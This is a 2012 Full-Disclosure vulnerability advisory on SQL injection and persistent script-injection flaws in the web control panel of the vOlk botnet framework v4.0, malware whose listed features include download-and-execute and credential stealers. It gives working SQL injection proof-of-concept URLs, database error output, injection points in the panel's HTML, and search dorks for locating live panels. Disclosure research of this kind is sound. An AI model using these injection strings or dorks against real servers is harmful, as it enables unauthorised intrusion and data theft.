[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[Full-disclosure] vOlk Botnet Framework v4.0 - Multiple Web Vulnerabilities
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: [Full-disclosure] vOlk Botnet Framework v4.0 - Multiple Web Vulnerabilities
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Wed, 10 Oct 2012 20:36:44 +0200
Title:
======
vOlk Botnet Framework v4.0 - Multiple Web Vulnerabilities
Date:
=====
2012-10-09
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=721
VL-ID:
=====
721
Common Vulnerability Scoring System:
====================================
8.3
Introduction:
=============
vOlk-Botnet v4.0 is a remote administration tool, its main function is to
manage the HOSTS file of the windows
operating systems The code created by [byvOlk] PHP and Visual Basic 6.0.
Features:
[+] Add Startup
[+] Download & Execute.
[+] Visit Webpage [Visible].
[+] Visit Webpage [Invisible].
[+] Mutex
[+] Stealer FTP(Filezilla)
[+] Msn Stealer(Messenger Save User)
[+] Statistics Bot s
Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple vulnerabilities
in the vOlk-Botnet framework application v4.0 private edition.
Report-Timeline:
================
2012-10-09: Public or Non-Public Disclosure
Status:
========
Published
Exploitation-Technique:
=======================
Remote
Severity:
=========
Critical
Details:
========
1.1
The vulnerability laboratory research team discovered multiple sql injection
vulnerabilities in the vOlk-Botnet framework application v4.0 private edition.
The sql vulnerabilities allow remote attackers to inject/execute own sql
commands/statements on the affected vOlks botnet application control panel dbms.
The vulnerabilities are located in the Messenger, Filezilla, Estadisticas files
with the bound vulnerable ?pag listing parameter. The vulnerability can
be exploited by remote attackers without required user inter action. Successful
exploitation of the vulnerabilities result in botnet control panel
compromise via remote sql injection attack.
Vulnerable Files(s):
[+] Messenger.php
[+] Filezilla.php
[+] Estadisticas.php
Vulnerable Parameter(s):
[+] pag
1.2
The vulnerability laboratory research team discovered multiple persistent web
vulnerabilities in the vOlk-Botnet framework application v4.0 private edition.
The input validation vulnerabilities allow remote attackers to inject own
malicious persistent script code on application side of the botnet framework.
The vulnerabilities are located in the Visit Webpage (Open URL), MSN Stealer,
Download File and Setting modules with the bound vulnerable domin,
Pasw, https or messenger bot s name parameters. The vulnerability can be
exploited by remote attacker with low or medium required user inter action.
Successful exploitation of the vulnerabilities result in botnet control panel
compromise via session hijacking, persistent web context manipulation or
combined csrf request manipulation.
Vulnerable Module(s):
[+] MSN Stealer
[+] Visit Webpage (Open URL)
[+] Download File
[+] Setting
Vulnerable Parameter(s):
[+] Name - Bot s Name
[+] URL - Open URL Bots
[+] URL - Download url
[+] Password Administrator & User Administrator
Dork CodeSearch: <p><font color=``#FFFFFF`` face=``Tahoma``
size=``1``>vOlk-Botnet 4.0</font></p>`` or ``<title>[vOlk-Botnet]v 4.0
Login</title>``
DorK Google: allinurl:vOlk-Botnet 4.0 or subtitle:[byvOlk] - WebAdmin
Panel ® vOlk-Botnet 4.0 and allinurl:WebAdmin/archivos/imagen/logo.jpg
Proof of Concept:
=================
1.1
The sql injection vulnerabilities can be exploited by remote attacker without
privileged application user account and without
required user inter action. For demonstration or reproduce ...
http://[SERVER]/images/WebAdmin/Controladores/Messenger.php?pag=-1%27%20union
all select id from pharming--
http://[SERVER]/images/WebAdmin/Controladores/Filezilla.php?pag=-1%27%20union
all select id from pharming--
http://[SERVER]/images/WebAdmin/Vistas/Estadisticas.php?pais=-1%27%20union all
select id from pharming--
--- SQL Exceptions ---
Sentencia Incorrecta : You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right
syntax to use near '-100 , 100' at line 1
---
Sentencia Incorrecta : You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right
syntax to use near ''-1'' ORDER BY fecha DESC LIMIT 0 , 45' at line 1
---
Sentencia Incorrecta : You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right
syntax to use near '-200 , 100' at line 1
--
SELECT * FROM zombis
SELECT * FROM pharming
1.2
The persistent script code inject vulnerabilities can be exploited by remote
attackers without privileged application user account but with
low or medium required user inter action. For demonstration or reproduce ...
MSN Stealer:
The msn stealer module inside of the application displays the Bot's Name
unsanitized. To infect the attacker back the victim can simulate a
fake msn account login on a infected system with malicious persistent script
code as Bot's Name. The result is a persistent script code execution
out of Bot's Name web context in the messenger listing. The victim can hijack
the vOlks Botnet Panel sessions or manipulate the framework with
own malicious persistent context to stop, block, take over or disable the
service.
Review: MSN STEALER - BOTS NAME
<tbody><tr>
<td width="2%"><div align="center">
<font color="#FFFFFF" face="Verdana"
size="1"><b>ID</b></font></div></td>
<td width="12%"><div align="center"><b>
<font color="#FFFFFF" face="Verdana" size="1">Bot's Name
</font> </b> </div></td>
<td width="6%"><div align="center"><b>
<font color="#FFFFFF" face="Verdana" size="1">Pais
</font> </b> </div></td>
<td width="79%"><div align="center"><b>
<font color="#FFFFFF" face="Verdana" size="1">Login de
msnmsgr.exe
</font> </b> </div></td>
</tr>
<tr>
<td><div align="center"><font color="#CCCCCC">1</font></div>
<font color="#CCCCCC"></font></td>
<td><div align="center"><font color="#CCCCCC">[[PERSISTENT
INJECTED SCRIPT CODE!]]</font></div>
<font color="#CCCCCC"></font></td>
Review: Visit Webpage - Open URL
<table style="border-style:solid; border-width:1px; "
background="archivos/imagen/fondo.png" height="69" width="96%">
<tbody><tr>
<td align="left" bgcolor="#333333" height="26" width="29%"><font
color="#FFFFFF" face="Verdana"
size="1">Open URL Bots: </font></td>
<td align="left" bgcolor="#333333" width="68%"><div> <span
style="margin-left:0px" name="div_1_mensaje"
id="div_1_mensaje"> <font face="Verdana" size="1">
<input name="domin" id="domin" style="border:1px solid #FFFFFF; width:
420; color:#666666; font-family:
Verdana; font-size:8pt; background-color:#000000; float:left; height:17"
value=""><[[PERSISTENT INJECTED SCRIPT CODE!]];)" <"="" size="1">
</font> </span> </div></td>
</tr>
Review: Download File
<table style="border-style:solid; border-width:1px; "
background="archivos/imagen/fondo.png" height="83" width="99%">
<tbody><tr>
<td align="left" bgcolor="#333333" height="19" width="29%"><font
color="#FFFFFF" face="Verdana"
size="1">Download url:</font></td>
<td align="left" bgcolor="#333333" height="19" width="68%"><div> <font
face="Verdana" size="1">
<input name="https" id="https" style="border:1px solid #FFFFFF; width:
394; font-family:Verdana;
font-size:8pt; color:#666666; background-color:#000000; float:left;
height:17" value="http://www.";><[[PERSISTENT INJECTED SCRIPT CODE!]];)"
<.com"="" size="1">
</font> </span> </div></td>
</tr>
Review: Settings - Administrator Username & Administrator Password
<tbody><tr>
<td align="left" bgcolor="#333333" height="21" width="30%">
<font color="#FFFFFF" face="Verdana" size="1">User Administrator
:</font></td>
<td align="left" bgcolor="#333333" width="70%"><div>
<span style="margin-left:0px" name="div_1_mensaje" id="div_1_mensaje">
<font face="Verdana" size="1">
<input style="border:1px solid #FFFFFF; width: 300px; font-family:Verdana;
font-size:8pt;
color:#666666; background-color:#000000" value="[[PERSISTENT INJECTED SCRIPT
CODE!]]"
disabled="disabled" name="User" id="User" size="1" type="text">[[PERSISTENT
INJECTED SCRIPT CODE!]]
</font></span>
</div></td>
</tr>
<tr>
<td align="left" bgcolor="#333333" height="21" width="30%"><font
color="#FFFFFF" face="Verdana"
size="1">Password Administrator :</font></td>
<td align="left" bgcolor="#333333" width="70%">
<span style="margin-left:0px" name="div_segundos" id="div_segundos">
<font face="Verdana" size="1">
<input name="Pasw" id="Pasw" style="border:1px solid #FFFFFF; width: 300px;
font-family:Verdana;
font-size:8pt; color:#666666; background-color:#000000" value="\"
type="text"><[[PERSISTENT INJECTED SCRIPT CODE!]];)" <"=""
size="70"></font></span></td>
</tr>
Risk:
=====
1.1
The security risk of the sql injection vulnerabilities are estimated as
critical.
1.2
The security risk of the persistent script code inject vulnerabilities are
estimated as medium(+).
Credits:
========
Vulnerability Laboratory [Research Team] - Karim H.B.
(kami@xxxxxxxxxxxxxxxxxxxxx)
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxxxxxx)
Disclaimer:
===========
The information provided in this advisory is provided as it is without any
warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and
capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have
been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential
or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor
licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com
- www.vulnerability-lab.com/register
Contact: admin@xxxxxxxxxxxxxxxxxxxxx - support@xxxxxxxxxxxxxxxxxxxxx
- research@xxxxxxxxxxxxxxxxxxxxx
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com
- news.vulnerability-lab.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab
- youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php -
vulnerability-lab.com/rss/rss_upcoming.php -
vulnerability-lab.com/rss/rss_news.php
Any modified copy or reproduction, including partially usages, of this file
requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is
granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All
pictures, texts, advisories, sourcecode, videos and
other information on this website is trademark of vulnerability-lab team & the
specific authors or managers. To record, list (feed),
modify, use or edit our material contact (admin@xxxxxxxxxxxxxxxxxxxxx or
support@xxxxxxxxxxxxxxxxxxxxx) to get a permission.
Copyright © 2012 | Vulnerability
Laboratory
--
VULNERABILITY RESEARCH LABORATORY
LABORATORY RESEARCH TEAM
CONTACT: research@xxxxxxxxxxxxxxxxxxxxx
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/